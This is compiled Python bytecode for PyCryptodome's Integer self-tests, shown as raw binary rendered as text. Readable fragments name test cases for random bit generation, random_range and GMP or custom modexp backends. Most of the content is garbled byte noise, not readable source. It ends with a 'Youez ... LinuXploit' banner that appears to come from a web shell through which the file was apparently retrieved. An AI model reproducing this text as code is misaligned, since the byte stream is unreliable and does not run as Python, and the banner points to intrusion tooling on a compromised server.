<� � � �'�'�'�	'�	'�	'�!D�!D�!D�F.�.�.�4*�*�*�*�*rrc��eZdZd�ZdS)�TestIntegerIntc��t|_dSr)rrr
s rr
zTestIntegerInt.setUp�s
��$����rN�rtrurvr
r}rrrxrx�s#������%�%�%�%�%rrxc�&�eZdZd�Zd�Zd�Zd�ZdS)�testIntegerRandomc�~�td��D]I}tjd���}|�|dk��|�|dk���Jtdd��D]R}tj|���}|�|d|d	z
zk��|�|d|zk���SdS)
Nr(ry)�
exact_bits�r�rW�r'rC)r�r�randomr)r�_�a�
bits_values    r�test_random_exact_bitsz(testIntegerRandom.test_random_exact_bits�s����t���	'�	'�A��$��2�2�2�A����Q��W�%�%�%����Q�#�X�&�&�&�&���h�/�/�	1�	1�J��$�
�;�;�;�A����Q��Z�!�^�!4�4�5�5�5����Q�!�Z�-�/�0�0�0�0�	1�	1rc�L�d}td��D]8}tjd���}|p|dk}|�|dk���9|�|��tdd��D]3}tj|���}|�|d	|zk���4dS)
NFr(ry)�max_bitsrr�rWr�r')r�rr�rr/)r�flagr�r�r�s     r�test_random_max_bitsz&testIntegerRandom.test_random_max_bits�s������t���	%�	%�A��$�a�0�0�0�A��?�1�s�7�D����Q��V�$�$�$�$����������h�/�/�	1�	1�J��$�j�9�9�9�A����Q�!�Z�-�/�0�0�0�0�	1�	1rc��Gd�dt��}|��}tjd|���}|�|jd��dS)Nc��eZdZd�Zd�ZdS)�@testIntegerRandom.test_random_bits_custom_rng.<locals>.CustomRNGc��d|_dSr|)�counterr
s r�__init__zItestIntegerRandom.test_random_bits_custom_rng.<locals>.CustomRNG.__init__�s
�� ����rc�F�|xj|z
c_td��|zSr|)r��bchr)r�sizes  r�__call__zItestIntegerRandom.test_random_bits_custom_rng.<locals>.CustomRNG.__call__�s"������$����A�w�w��~�%rN)rtrurvr�r�r}rr�	CustomRNGr��s2������
!�
!�
!�
&�
&�
&�
&�
&rr�r�)r~�randfuncrt)�objectrr�rr�)rr��
custom_rngr�s    r�test_random_bits_custom_rngz-testIntegerRandom.test_random_bits_custom_rng�sm��	&�	&�	&�	&�	&��	&�	&�	&��Y�[�[�
�� �B��D�D�D������+�Q�/�/�/�/�/rc��tj}td��D]2}|dd���}|�d|cxkodknc���3td��D]2}|dd���}|�d|cxkodknc���3|�t
|ddd���|�t
|dd�	��dS)
N��rCr�)�
min_inclusive�
max_inclusive)r��
max_exclusiver'rB)r�r�r�)r�r�)r�random_ranger�r/rr)r�funcr�r�s    r�test_random_rangez#testIntegerRandom.test_random_range�s����)���s���	*�	*�A���1�B�7�7�7�A��O�O�A��L�L�L�L�b�L�L�L�L�)�)�)�)��s���	)�	)�A���1�B�7�7�7�A��O�O�A��K�K�K�K�R�K�K�K�K�(�(�(�(����*�d�!�1�:;�	�	=�	=�	=����*�d�!�1��M�M�M�M�MrN)rtrurvr�r�r�r�r}rrr|r|�sU������
1�
1�
1�1�1�1�0�0�0�N�N�N�N�Nrr|c����g}|tt��z
}	ddlm�G�fd�dt��}|t|��z
}n}#t
tf$ri}tjdkr tj	�
d��n/tj	�
dt|��z��Yd}~nd}~wwxYw	ddlm
�G�fd	�d
t��}|t|��z
}nM#t
tf$r9}tj	�
dt|��z��Yd}~nd}~wwxYw|tt��z
}|S)Nr��
IntegerGMPc���eZdZ�fd�ZdS)�!get_tests.<locals>.TestIntegerGMPc����|_dSrr�)rr�s �rr
z'get_tests.<locals>.TestIntegerGMP.setUp�s���)����rNrzr�s�r�TestIntegerGMPr��s.�������
*�
*�
*�
*�
*�
*�
*rr��win32zSkipping GMP tests on Windows
zSkipping GMP tests (%s)
��
IntegerCustomc���eZdZ�fd�ZdS)�*get_tests.<locals>.TestIntegerCustomModexpc����|_dSrr�)rr�s �rr
z0get_tests.<locals>.TestIntegerCustomModexp.setUps���,����rNrzr�s�r�TestIntegerCustomModexpr�s.�������
-�
-�
-�
-�
-�
-�
-rr�z"Skipping custom modexp tests (%s)
)rrx�Cryptodome.Math._IntegerGMPr�r�ImportError�OSError�sys�platform�stdout�writer7�Cryptodome.Math._IntegerCustomr�r|)�config�testsr��er�r�r�s     @@r�	get_testsr��s������E�	�_�^�
,�
,�,�E�D�:�:�:�:�:�:�	*�	*�	*�	*�	*�	*�	*�_�	*�	*�	*�	���0�0�0������!�D�D�D��<�7�"�"��J���>�?�?�?�?��J���8�3�q�6�6�A�C�C�C����������	D����	J�@�@�@�@�@�@�	-�	-�	-�	-�	-�	-�	-�o�	-�	-�	-�	��!8�9�9�9������!�J�J�J��
���>��Q���G�I�I�I�I�I�I�I�I�����J����
�_�.�
/�
/�/�E��Ls0�-A�C�AC�C�	-C7�7E�/D<�<E�__main__c�B�tjt����Sr)�unittest�	TestSuiter�r}rrrr
s��H�&�y�{�{�3�3�r�suite)�defaultTest)�__doc__r�r��Cryptodome.SelfTest.st_commonr�Cryptodome.Util.py3compat�Cryptodome.Math._IntegerNativer�TestCaserrxr|r�rtr��mainr}rr�<module>r�s8��D!� �
�
�
�
�����9�9�9�9�9�9�'�'�'�'�8�8�8�8�8�8�|	*�|	*�|	*�|	*�|	*�h�'�|	*�|	*�|	*�~%�%�%�%�%�_�%�%�%�7N�7N�7N�7N�7N��)�7N�7N�7N�r�����@�z���3�3�E��H�M�g�&�&�&�&�&�&��r

Youez - 2016 - github.com/yon3zu
LinuXploit